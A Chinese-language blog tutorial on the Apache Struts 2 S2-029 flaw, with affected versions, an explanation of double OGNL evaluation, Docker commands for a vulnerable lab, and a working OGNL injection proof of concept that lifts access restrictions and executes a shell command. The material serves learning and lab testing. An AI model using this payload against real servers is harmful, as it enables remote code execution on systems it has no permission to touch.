Struts-S2-029漏洞利用(含环境搭建、含POC)

Struts –s2-29

此文仅供大家交流学习,严禁非法使用

一、参考网址:

http://blog.topsec.com.cn/ad_lab/struts2%E6%BC%8F%E6%B4%9Es2-029%E5%88%86%E6%9E%90/

二、 影响版本:

Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

三、 漏洞介绍:

Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估。

漏洞理解:
代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行。因此需要的条件极为苛刻,特殊的代码,value值为空,可以传参到value,控制name,严格来说应该是个本地漏洞。。

四、 环境搭建:

参考上面网址在linux搭建docker环境,感觉该作者精心做的可以远程代码执行的环境

  • 拉取镜像到本地

$ docker pull medicean/vulapps:s_struts2_s2-029

  • 启动环境

$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-029

五、 POC:

(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

六、 漏洞利用:

Struts-S2-029漏洞利用(含环境搭建、含POC)_第1张图片
1.png

七、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到[email protected]不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

你可能感兴趣的:(Struts-S2-029漏洞利用(含环境搭建、含POC))